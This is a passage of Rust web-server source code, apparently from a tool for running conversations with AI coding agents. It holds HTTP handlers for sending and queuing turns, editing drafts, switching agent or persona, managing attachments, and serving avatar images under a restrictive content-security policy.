8890) -> ApiResult<Json<TalkDetailView>> {
8891 blocking(move || {
8892 let id = resolve_talk(&ui.talks, &id)?;
8893 let talk = ui.talks.get(&id)?;
8894 let thinking = ui.is_thinking(&talk.id);
8895 let tasks = ui.find_tasks_for_talk(&talk.id)?;
8896 let task_progress = talk_task_progress(&tasks);
8897 let tasks = tasks.into_iter().map(TaskView::from).collect();
8898 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8899 let roster = cfg
8900 .as_ref()
8901 .map(|cfg| {
8902 cfg.agents
8903 .iter()
8904 .map(|a| RosterEntry {
8905 id: a.id.clone(),
8906 kind: a.kind,
8907 runnable: agent::installed(a),
8908 })
8909 .collect()
8910 })
8911 .unwrap_or_default();
8912 let specs = cfg
8913 .as_ref()
8914 .map(|cfg| cfg.talk.personas.clone())
8915 .unwrap_or_default();
8916 let personas = persona::catalog(&specs)
8917 .into_iter()
8918 .map(|p| PersonaEntry {
8919 avatar: avatar_url(&ui.home, &talk.id, &p),
8920 id: p.id,
8921 name: p.name,
8922 })
8923 .collect();
8924 Ok(Json(TalkDetailView {
8925 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8926 tasks,
8927 task_progress,
8928 roster,
8929 personas,
8930 }))
8931 })
8932 .await
8933}
8934
8935#[derive(Debug, Default, Deserialize)]
8941#[serde(default, deny_unknown_fields)]
8942struct NewTalkTurn {
8943 reply_to: Option<talk::ReplyTarget>,
8944 text: String,
8945 attachments: Vec<String>,
8946}
8947
8948#[derive(Debug, Deserialize)]
8949#[serde(deny_unknown_fields)]
8950struct EditTalkPending {
8951 #[serde(default)]
8952 message: Option<usize>,
8953 text: String,
8954 expected_text: String,
8955 expected_attachments: Vec<String>,
8956}
8957
8958#[derive(Debug, Deserialize)]
8959#[serde(deny_unknown_fields)]
8960struct ClearTalkPending {
8961 expected_text: String,
8962 expected_attachments: Vec<String>,
8963}
8964
8965async fn talk_say(
8977 State(ui): State<Arc<Ui>>,
8978 Path(id): Path<String>,
8979 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8980) -> ApiResult<(StatusCode, Json<TalkView>)> {
8981 let admission = ui.begin_admission()?;
8982 admitted(admission, async move {
8983 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8984 if body.text.trim().is_empty() && body.attachments.is_empty() {
8985 return Err(ApiError::bad_request("say something"));
8986 }
8987
8988 let id = {
8989 let ui = Arc::clone(&ui);
8990 let asked = id.clone();
8991 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8992 };
8993 {
8997 let ui = Arc::clone(&ui);
8998 let id = id.clone();
8999 blocking(move || {
9000 let talk = ui.talks.get(&id)?;
9001 if !talk.status.open() {
9002 return Err(ApiError::conflict(format!(
9003 "talk {} is {} and takes no more turns",
9004 talk.short(),
9005 talk.status.as_str()
9006 )));
9007 }
9008 Ok(())
9009 })
9010 .await?;
9011 }
9012
9013 let attachments = {
9018 let ui = Arc::clone(&ui);
9019 let id = id.clone();
9020 let ids = body.attachments.clone();
9021 blocking(move || {
9022 ids.into_iter()
9023 .map(|att_id| {
9024 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9025 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9026 })
9027 })
9028 .collect::<ApiResult<Vec<talk::Attachment>>>()
9029 })
9030 .await?
9031 };
9032 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9033 .await.map_err(ApiError::from)?;
9034
9035 let start = {
9040 let ui = Arc::clone(&ui);
9041 let id = id.clone();
9042 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9043 };
9044 let turn_guard = match start {
9045 TalkTurnStart::Claimed(turn_guard) => turn_guard,
9046 TalkTurnStart::Pending => {
9047 return Err(ApiError::conflict(
9048 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9049 ));
9050 }
9051 TalkTurnStart::Foreign => {
9052 return Err(ApiError::conflict(
9053 "a turn is already running in another process; try again when it has finished",
9054 ));
9055 }
9056 TalkTurnStart::Busy => {
9057 let (tx, rx) = tokio::sync::oneshot::channel();
9073 tokio::spawn({
9074 let ui = Arc::clone(&ui);
9075 let id = id.clone();
9076 let said = body.text.clone();
9077 let reply_to = body.reply_to.clone();
9078 async move {
9079 let written = blocking({
9080 let ui = Arc::clone(&ui);
9081 let id = id.clone();
9082 move || {
9083 let mut talk = ui.talks.get(&id)?;
9084 #[cfg(test)]
9089 if let Some(gate) = ui
9090 .busy_queue_gate
9091 .lock()
9092 .unwrap_or_else(PoisonError::into_inner)
9093 .take()
9094 {
9095 let _ = gate.reached.send(());
9096 let _ = gate.release.recv();
9097 }
9098 if let Err(error) = talk::queue_reply(
9099 &mut talk,
9100 &ui.talks,
9101 &said,
9102 attachments,
9103 reply_to,
9104 ) {
9105 if let Ok(fresh) = ui.talks.get(&id) {
9106 if !fresh.status.open() {
9107 return Err(ApiError::conflict(format!(
9108 "talk {} is {} and takes no more turns",
9109 fresh.short(),
9110 fresh.status.as_str()
9111 )));
9112 }
9113 }
9114 return Err(
9115 if error.to_string().contains("invalid reply target") {
9116 ApiError::bad_request("invalid reply target")
9117 } else {
9118 ApiError::from(error)
9119 },
9120 );
9121 }
9122 let claim = match ui.begin_queued_talk_turn(&id)? {
9133 Some(turn_guard) => {
9134 let (cfg, _) = Config::discover(&talk.repo, None)?;
9135 Some((talk.clone(), cfg, turn_guard))
9136 }
9137 None => None,
9138 };
9139 let thinking = ui.is_thinking(&id);
9140 Ok((TalkView::new(talk, thinking, &ui), claim))
9141 }
9142 })
9143 .await;
9144 #[cfg(not(test))]
9145 {
9146 match written {
9147 Ok((view, reclaimed)) => {
9148 let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9149 drop(reclaimed);
9150 match launched {
9151 Ok(_) => { let _ = tx.send(Ok(view)); }
9152 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9153 }
9154 }
9155 Err(error) => { let _ = tx.send(Err(error)); }
9156 }
9157 }
9158 #[cfg(test)]
9159 {
9160 let (view, reclaimed) = match written {
9161 Ok(pair) => pair,
9162 Err(e) => {
9163 let _ = tx.send(Err(e));
9168 return;
9169 }
9170 };
9171 let _ = tx.send(Ok(view));
9174 if let Some((talk, cfg, turn_guard)) = reclaimed {
9175 let talks = ui.talks.clone();
9176 drain_loop(talk, talks, cfg, id, turn_guard).await;
9177 }
9178 }
9179 }
9180 });
9181 let view = rx
9182 .await
9183 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9184 return Ok((StatusCode::ACCEPTED, Json(view)));
9185 }
9186 };
9187
9188 let (talk, cfg) = {
9189 let ui = Arc::clone(&ui);
9190 let id = id.clone();
9191 blocking(move || {
9192 let talk = ui.talks.get(&id)?;
9193 let (cfg, _) = Config::discover(&talk.repo, None)?;
9194 Ok((talk, cfg))
9195 })
9196 .await?
9197 };
9198
9199 let talks = ui.talks.clone();
9200 let (tx, rx) = tokio::sync::oneshot::channel();
9215 tokio::spawn({
9216 #[cfg(test)]
9217 let ui = Arc::clone(&ui);
9218 let talks = talks.clone();
9219 let id = id.clone();
9220 let said = body.text.clone();
9221 let reply_to = body.reply_to.clone();
9222 let mut talk = talk.clone();
9223 async move {
9224 let recorded = blocking({
9225 let talks = talks.clone();
9226 move || {
9227 if let Err(error) =
9228 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9229 {
9230 if let Ok(fresh) = talks.get(&talk.id) {
9231 if !fresh.status.open() {
9232 return Err(ApiError::conflict(format!(
9233 "talk {} is {} and takes no more turns",
9234 fresh.short(),
9235 fresh.status.as_str()
9236 )));
9237 }
9238 }
9239 return Err(if error.to_string().contains("invalid reply target") {
9240 ApiError::bad_request("invalid reply target")
9241 } else {
9242 ApiError::from(error)
9243 });
9244 }
9245 Ok((said.trim().to_owned(), talk))
9251 }
9252 })
9253 .await;
9254 let (text, talk) = match recorded {
9255 Ok(pair) => pair,
9256 Err(e) => {
9257 let _ = tx.send(Err(e));
9261 return;
9262 }
9263 };
9264 #[cfg(not(test))]
9265 {
9266 let _ = (&cfg, &text);
9267 let result = crate::consult::spawn_recorded_turn(
9271 &talks, &id, talk.turns.len() - 1,
9272 ).await;
9273 drop(turn_guard);
9274 match result {
9275 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9276 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9277 }
9278 }
9279 #[cfg(test)]
9280 {
9281 let queued = talk.clone();
9282 let mut talk = talk;
9283 let thinking = ui.is_thinking(&id);
9284 let _ = tx.send(Ok((queued, thinking)));
9287
9288 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9289 tracing::warn!("talk {id} turn failed: {e:#}");
9293 }
9294 drain_loop(talk, talks, cfg, id, turn_guard).await;
9297 }
9298 }
9299 });
9300
9301 let (queued, thinking) = rx
9302 .await
9303 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9304
9305 Ok((
9307 StatusCode::ACCEPTED,
9308 Json(TalkView::new(queued, thinking, &ui)),
9309 ))
9310 }).await
9311}
9312
9313async fn talk_pending_resume(
9317 State(ui): State<Arc<Ui>>,
9318 Path(id): Path<String>,
9319) -> ApiResult<(StatusCode, Json<TalkView>)> {
9320 let admission = ui.begin_admission()?;
9321 admitted(admission, async move {
9322 let id = {
9323 let ui = Arc::clone(&ui);
9324 let asked = id.clone();
9325 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9326 };
9327 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9328 .await
9329 .map_err(ApiError::from)?;
9330 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9331 return Err(ApiError::conflict(
9332 "a talk turn is already running; the queued draft will be handled by it",
9333 ));
9334 };
9335 let (talk, cfg) = {
9336 let ui = Arc::clone(&ui);
9337 let id = id.clone();
9338 blocking(move || {
9339 let talk = ui.talks.get(&id)?;
9340 if !talk.status.open() {
9341 return Err(ApiError::conflict(format!(
9342 "talk {} is {} and takes no more turns",
9343 talk.short(),
9344 talk.status.as_str()
9345 )));
9346 }
9347 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9348 return Err(ApiError::conflict("there is no queued draft to resume"));
9349 }
9350 let (cfg, _) = Config::discover(&talk.repo, None)?;
9351 Ok((talk, cfg))
9352 })
9353 .await?
9354 };
9355 let view = TalkView::new(talk.clone(), true, &ui);
9356 let talks = ui.talks.clone();
9357 #[cfg(not(test))]
9358 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9359 #[cfg(test)]
9360 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9361 Ok((StatusCode::ACCEPTED, Json(view)))
9362 })
9363 .await
9364}
9365
9366#[cfg(not(test))]
9369async fn detach_talk_turn(
9370 _talk: Talk,
9371 talks: Talks,
9372 _cfg: Config,
9373 id: String,
9374 turn: TalkTurnGuard,
9375) -> ApiResult<()> {
9376 let launched = crate::consult::spawn_turn(&talks, &id).await;
9377 drop(turn);
9378 launched.map(|_| ()).map_err(ApiError::from)
9379}
9380
9381#[cfg(test)]
9382async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9383 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9384}
9385
9386async fn settle_settings_turn(
9390 talk: Talk,
9391 talks: Talks,
9392 cfg: Config,
9393 id: String,
9394 turn: TalkTurnGuard,
9395 observed: u64,
9396) -> bool {
9397 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9398 let turns = Arc::clone(&turn.turns);
9399 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9400 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9401 turn.release(&mut live);
9403 return false;
9404 }
9405 }
9406 let (started, settled) = tokio::sync::oneshot::channel();
9407 tokio::spawn(drain_loop_started(
9408 talk,
9409 talks,
9410 cfg,
9411 id,
9412 turn,
9413 Some(started),
9414 ));
9415 settled.await.unwrap_or(false)
9416}
9417
9418#[cfg(not(test))]
9419async fn drain_loop_started(
9420 talk: Talk,
9421 talks: Talks,
9422 _cfg: Config,
9423 id: String,
9424 turn: TalkTurnGuard,
9425 started: Option<tokio::sync::oneshot::Sender<bool>>,
9426) {
9427 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9428 let running = if pending {
9429 match crate::consult::spawn_turn(&talks, &id).await {
9430 Ok(_) => true,
9431 Err(error) => {
9432 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9433 false
9434 }
9435 }
9436 } else {
9437 false
9438 };
9439 drop(turn);
9440 if let Some(started) = started {
9441 let _ = started.send(running);
9442 }
9443}
9444
9445#[cfg(test)]
9448async fn drain_loop_started(
9449 mut talk: Talk,
9450 talks: Talks,
9451 cfg: Config,
9452 id: String,
9453 turn: TalkTurnGuard,
9454 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9455) {
9456 let live_set = Arc::clone(&turn.turns);
9457 let mut turn = Some(turn);
9465 loop {
9466 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9467 tracing::warn!("talk {id} lost its turn lease; not draining further");
9470 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9471 if let Some(turn) = turn.take() {
9472 turn.release(&mut live);
9473 }
9474 break;
9475 }
9476 let observed = live_set
9480 .lock()
9481 .unwrap_or_else(PoisonError::into_inner)
9482 .queued
9483 .get(&id)
9484 .copied()
9485 .unwrap_or(0);
9486 let drained = blocking({
9487 let talks = talks.clone();
9488 move || {
9489 let result = talk::drain(&mut talk, &talks);
9490 Ok((talk, result))
9491 }
9492 })
9493 .await;
9494 let (next_talk, result) = match drained {
9495 Ok(drained) => drained,
9496 Err(e) => {
9497 tracing::warn!(
9498 status = %e.status,
9499 message = %e.message,
9500 "talk {id} could not start queued-text drain"
9501 );
9502 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9503 turn.take()
9504 .expect("held for the whole loop until released here")
9505 .release(&mut live);
9506 break;
9507 }
9508 };
9509 talk = next_talk;
9510 let drained = match result {
9511 Ok(Some(drained)) => drained,
9512 Ok(None) => {
9513 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9514 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9515 continue;
9516 }
9517 turn.take()
9518 .expect("held for the whole loop until released here")
9519 .release(&mut live);
9520 break;
9521 }
9522 Err(e) => {
9523 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9524 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9525 turn.take()
9526 .expect("held for the whole loop until released here")
9527 .release(&mut live);
9528 break;
9529 }
9530 };
9531 if let Some(started) = started.take() {
9532 let _ = started.send(true);
9533 }
9534 let responded = match turn.as_ref() {
9535 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9536 None => Err(anyhow::anyhow!("the turn guard was released")),
9537 };
9538 if let Err(e) = responded {
9539 tracing::warn!("talk {id} turn failed: {e:#}");
9540 }
9541 }
9542 drop(turn);
9543 if let Some(started) = started {
9544 let _ = started.send(false);
9545 }
9546}
9547
9548async fn talk_pending_clear(
9550 State(ui): State<Arc<Ui>>,
9551 Path(id): Path<String>,
9552 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9553) -> ApiResult<Json<TalkView>> {
9554 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9555 blocking(move || {
9556 let id = resolve_talk(&ui.talks, &id)?;
9557 let mut talk = ui.talks.get(&id)?;
9558 if !talk.status.open() {
9559 return Err(ApiError::conflict(format!(
9560 "talk {} is {} and takes no more turns",
9561 talk.short(),
9562 talk.status.as_str()
9563 )));
9564 }
9565 if !talk::clear_pending_if_matches(
9566 &mut talk,
9567 &ui.talks,
9568 &body.expected_text,
9569 &body.expected_attachments,
9570 )? {
9571 return Err(ApiError::conflict(
9572 "queued message changed; reload it before clearing",
9573 ));
9574 }
9575 let thinking = ui.is_thinking(&talk.id);
9576 Ok(Json(TalkView::new(talk, thinking, &ui)))
9577 })
9578 .await
9579}
9580
9581async fn talk_pending_edit(
9585 State(ui): State<Arc<Ui>>,
9586 Path(id): Path<String>,
9587 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9588) -> ApiResult<Json<TalkView>> {
9589 let admission = ui.begin_admission()?;
9590 admitted(admission, async move {
9591 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9592 let id = {
9593 let ui = Arc::clone(&ui);
9594 blocking(move || resolve_talk(&ui.talks, &id)).await?
9595 };
9596 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9597 .await
9598 .map_err(ApiError::from)?;
9599 let (view, reclaimed) = blocking({
9600 let ui = Arc::clone(&ui);
9601 move || {
9602 let mut talk = ui.talks.get(&id)?;
9603 if !talk.status.open() {
9604 return Err(ApiError::conflict(format!(
9605 "talk {} is {} and takes no more turns",
9606 talk.short(),
9607 talk.status.as_str()
9608 )));
9609 }
9610 if !talk::edit_pending_message(
9611 &mut talk,
9612 &ui.talks,
9613 &body.text,
9614 &body.expected_text,
9615 &body.expected_attachments,
9616 body.message,
9617 )? {
9618 return Err(ApiError::conflict(
9619 "queued message changed; reload it before editing",
9620 ));
9621 }
9622 let claim = match ui.begin_queued_talk_turn(&id)? {
9623 Some(turn_guard) => {
9624 let (cfg, _) = Config::discover(&talk.repo, None)?;
9625 Some((talk.clone(), cfg, id.clone(), turn_guard))
9626 }
9627 None => None,
9628 };
9629 let thinking = ui.is_thinking(&id);
9630 Ok((TalkView::new(talk, thinking, &ui), claim))
9631 }
9632 })
9633 .await?;
9634 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9635 let talks = ui.talks.clone();
9636 #[cfg(not(test))]
9637 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9638 #[cfg(test)]
9639 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9640 }
9641 Ok(Json(view))
9642 })
9643 .await
9644}
9645
9646fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9648 if talk.status.open() {
9649 return Ok(());
9650 }
9651 Err(ApiError::conflict(format!(
9652 "talk {} is {} and takes no more turns",
9653 talk.short(),
9654 talk.status.as_str()
9655 )))
9656}
9657
9658#[derive(Debug, Deserialize)]
9660struct TalkAgent {
9661 agent: String,
9662}
9663
9664async fn talk_agent(
9669 State(ui): State<Arc<Ui>>,
9670 Path(id): Path<String>,
9671 Json(body): Json<TalkAgent>,
9672) -> ApiResult<Json<TalkView>> {
9673 let admission = ui.begin_admission()?;
9674 admitted(admission, async move {
9675 let id = {
9676 let ui = Arc::clone(&ui);
9677 blocking(move || resolve_talk(&ui.talks, &id)).await?
9678 };
9679 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9680 .await
9681 .map_err(ApiError::from)?;
9682 let repo = {
9683 let ui = Arc::clone(&ui);
9684 let id = id.clone();
9685 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9686 };
9687 let cfg = config_for(&repo).await?;
9688 {
9690 let ui = Arc::clone(&ui);
9691 let id = id.clone();
9692 let cfg = cfg.clone();
9693 let wanted = body.agent.clone();
9694 blocking(move || {
9695 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9696 .map_err(ApiError::bad_request_from)?;
9697 refuse_if_closed(&ui.talks.get(&id)?)
9698 })
9699 .await?;
9700 }
9701 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9702 return Err(ApiError::conflict(
9703 "a talk turn is running; change the agent once it has answered",
9704 ));
9705 };
9706 let switched = {
9707 let ui = Arc::clone(&ui);
9708 let id = id.clone();
9709 let cfg = cfg.clone();
9710 blocking(move || {
9711 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9712 .map_err(ApiError::bad_request_from)?;
9713 let mut talk = ui.talks.get(&id)?;
9714 if !talk.status.open() {
9715 return Err(ApiError::conflict(format!(
9716 "talk {} is {} and takes no more turns",
9717 talk.short(),
9718 talk.status.as_str()
9719 )));
9720 }
9721 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9722 Ok(talk)
9723 })
9724 .await
9725 };
9726 let observed = ui.queued_generation(&id);
9731 let fresh = {
9732 let ui = Arc::clone(&ui);
9733 let id = id.clone();
9734 blocking(move || Ok(ui.talks.get(&id)?)).await
9735 };
9736 let draining = match fresh {
9737 Ok(talk) => {
9738 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9739 }
9740 Err(_) => false,
9741 };
9742 let talk = switched?;
9743 Ok(Json(TalkView::new(talk, draining, &ui)))
9744 })
9745 .await
9746}
9747
9748#[derive(Debug, Deserialize)]
9750struct TalkPersona {
9751 persona: String,
9752}
9753
9754async fn talk_persona(
9758 State(ui): State<Arc<Ui>>,
9759 Path(id): Path<String>,
9760 Json(body): Json<TalkPersona>,
9761) -> ApiResult<Json<TalkView>> {
9762 let admission = ui.begin_admission()?;
9763 admitted(admission, async move {
9764 let id = {
9765 let ui = Arc::clone(&ui);
9766 blocking(move || resolve_talk(&ui.talks, &id)).await?
9767 };
9768 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9769 .await
9770 .map_err(ApiError::from)?;
9771 let repo = {
9772 let ui = Arc::clone(&ui);
9773 let id = id.clone();
9774 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9775 };
9776 let cfg = config_for(&repo).await?;
9777 {
9779 let ui = Arc::clone(&ui);
9780 let id = id.clone();
9781 let cfg = cfg.clone();
9782 let wanted = body.persona.clone();
9783 blocking(move || {
9784 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9785 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9786 }
9787 refuse_if_closed(&ui.talks.get(&id)?)
9788 })
9789 .await?;
9790 }
9791 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9792 return Err(ApiError::conflict(
9793 "a talk turn is running; change the persona once it has answered",
9794 ));
9795 };
9796 let switched = {
9797 let ui = Arc::clone(&ui);
9798 let id = id.clone();
9799 let cfg = cfg.clone();
9800 blocking(move || {
9801 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9802 return Err(ApiError::bad_request(format!(
9803 "unknown persona `{}`",
9804 body.persona
9805 )));
9806 };
9807 let mut talk = ui.talks.get(&id)?;
9808 if !talk.status.open() {
9809 return Err(ApiError::conflict(format!(
9810 "talk {} is {} and takes no more turns",
9811 talk.short(),
9812 talk.status.as_str()
9813 )));
9814 }
9815 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9816 Ok(talk)
9817 })
9818 .await
9819 };
9820 let observed = ui.queued_generation(&id);
9822 let fresh = {
9823 let ui = Arc::clone(&ui);
9824 let id = id.clone();
9825 blocking(move || Ok(ui.talks.get(&id)?)).await
9826 };
9827 let draining = match fresh {
9828 Ok(talk) => {
9829 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9830 }
9831 Err(_) => false,
9832 };
9833 let talk = switched?;
9834 Ok(Json(TalkView::new(talk, draining, &ui)))
9835 })
9836 .await
9837}
9838
9839#[derive(Debug, Deserialize)]
9841struct TalkImplementers {
9842 implementers: u8,
9843}
9844
9845async fn talk_implementers(
9849 State(ui): State<Arc<Ui>>,
9850 Path(id): Path<String>,
9851 Json(body): Json<TalkImplementers>,
9852) -> ApiResult<Json<TalkView>> {
9853 let admission = ui.begin_admission()?;
9854 admitted(admission, async move {
9855 let id = {
9856 let ui = Arc::clone(&ui);
9857 blocking(move || resolve_talk(&ui.talks, &id)).await?
9858 };
9859 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9860 .await
9861 .map_err(ApiError::from)?;
9862 let repo = {
9863 let ui = Arc::clone(&ui);
9864 let id = id.clone();
9865 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9866 };
9867 let cfg = config_for(&repo).await?;
9868 {
9873 let ui = Arc::clone(&ui);
9874 let id = id.clone();
9875 let cfg = cfg.clone();
9876 let wanted = body.implementers;
9877 blocking(move || {
9878 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9879 refuse_if_closed(&ui.talks.get(&id)?)
9880 })
9881 .await?;
9882 }
9883 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9884 return Err(ApiError::conflict(
9885 "a talk turn is running; change the implementers once it has answered",
9886 ));
9887 };
9888 let switched = {
9889 let ui = Arc::clone(&ui);
9890 let id = id.clone();
9891 let cfg = cfg.clone();
9892 blocking(move || {
9893 let chosen = talk::check_implementers(body.implementers, &cfg)
9894 .map_err(ApiError::bad_request)?;
9895 let mut talk = ui.talks.get(&id)?;
9896 if !talk.status.open() {
9897 return Err(ApiError::conflict(format!(
9898 "talk {} is {} and takes no more turns",
9899 talk.short(),
9900 talk.status.as_str()
9901 )));
9902 }
9903 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9904 Ok(talk)
9905 })
9906 .await
9907 };
9908 let observed = ui.queued_generation(&id);
9910 let fresh = {
9911 let ui = Arc::clone(&ui);
9912 let id = id.clone();
9913 blocking(move || Ok(ui.talks.get(&id)?)).await
9914 };
9915 let draining = match fresh {
9916 Ok(talk) => {
9917 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9918 }
9919 Err(_) => false,
9920 };
9921 let talk = switched?;
9922 Ok(Json(TalkView::new(talk, draining, &ui)))
9923 })
9924 .await
9925}
9926
9927async fn talk_close(
9929 State(ui): State<Arc<Ui>>,
9930 Path(id): Path<String>,
9931) -> ApiResult<Json<TalkView>> {
9932 blocking(move || {
9933 let id = resolve_talk(&ui.talks, &id)?;
9934 let mut talk = ui.talks.get(&id)?;
9935 talk::close(&mut talk, &ui.talks)?;
9936 let thinking = ui.is_thinking(&talk.id);
9937 Ok(Json(TalkView::new(talk, thinking, &ui)))
9938 })
9939 .await
9940}
9941
9942async fn talk_reopen(
9944 State(ui): State<Arc<Ui>>,
9945 Path(id): Path<String>,
9946) -> ApiResult<Json<TalkView>> {
9947 blocking(move || {
9948 let id = resolve_talk(&ui.talks, &id)?;
9949 let mut talk = ui.talks.get(&id)?;
9950 talk::reopen(&mut talk, &ui.talks)?;
9951 let thinking = ui.is_thinking(&talk.id);
9952 Ok(Json(TalkView::new(talk, thinking, &ui)))
9953 })
9954 .await
9955}
9956
9957async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9967 blocking(move || {
9968 let id = resolve_talk(&ui.talks, &id)?;
9969 ui.talks.remove(&id)?;
9970 Ok(StatusCode::NO_CONTENT)
9971 })
9972 .await
9973}
9974
9975fn talk_ids(root: &FsPath) -> Vec<String> {
9976 std::fs::read_dir(root)
9977 .into_iter()
9978 .flatten()
9979 .flatten()
9980 .filter_map(|e| {
9981 let path = e.path();
9982 if path.extension().is_some_and(|ext| ext == "json") {
9983 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9984 } else {
9985 None
9986 }
9987 })
9988 .collect()
9989}
9990
9991fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9993 if plain_record_id(id) && store.path_of(id).is_file() {
9994 return Ok(id.to_owned());
9995 }
9996 pick(talk_ids(store.root()), id, "talk")
9997}
9998
9999async fn talk_attachment_post(
10002 State(ui): State<Arc<Ui>>,
10003 Path(id): Path<String>,
10004 headers: HeaderMap,
10005 body: Bytes,
10006) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10007 let mime = validate_attachment(&headers, &body)?;
10008 let name = filename_header(&headers);
10009 let data = body.to_vec();
10010 blocking(move || {
10011 let id = resolve_talk(&ui.talks, &id)?;
10012 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10013 Ok((StatusCode::CREATED, Json(att)))
10014 })
10015 .await
10016}
10017
10018async fn talk_attachment_get(
10021 State(ui): State<Arc<Ui>>,
10022 Path((id, att)): Path<(String, String)>,
10023) -> ApiResult<Response> {
10024 blocking(move || {
10025 let id = resolve_talk(&ui.talks, &id)?;
10026 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10027 return Err(ApiError::not_found(format!(
10028 "talk {id} has no attachment `{att}`"
10029 )));
10030 };
10031 Ok(attachment_response(&meta.mime, data))
10032 })
10033 .await
10034}
10035
10036fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10039 let id = avatar_encode(&p.id);
10040 format!(
10041 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10042 persona_icon::fingerprint(
10043 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10044 )
10045 )
10046}
10047
10048#[derive(Debug, Default, Deserialize)]
10049struct AvatarQuery {
10050 persona: Option<String>,
10051 builtin: Option<String>,
10053}
10054
10055const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10057
10058fn builtin_avatar(id: &str) -> Response {
10059 svg_avatar(persona_icon::builtin_svg(id))
10060}
10061
10062async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10063 raster_or_builtin(
10064 read_icon_file(&avatar_setting_path(&ui.home, None))
10065 .filter(|_| q.builtin.is_none())
10066 .as_deref(),
10067 persona_icon::operator_svg(),
10068 )
10069}
10070
10071fn svg_avatar(svg: &'static str) -> Response {
10072 (
10073 [
10074 (header::CONTENT_TYPE, "image/svg+xml"),
10075 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10076 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10077 (header::CACHE_CONTROL, "no-cache"),
10078 ],
10079 svg,
10080 )
10081 .into_response()
10082}
10083
10084fn avatar_encode(value: &str) -> String {
10085 value
10086 .bytes()
10087 .map(|b| {
10088 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
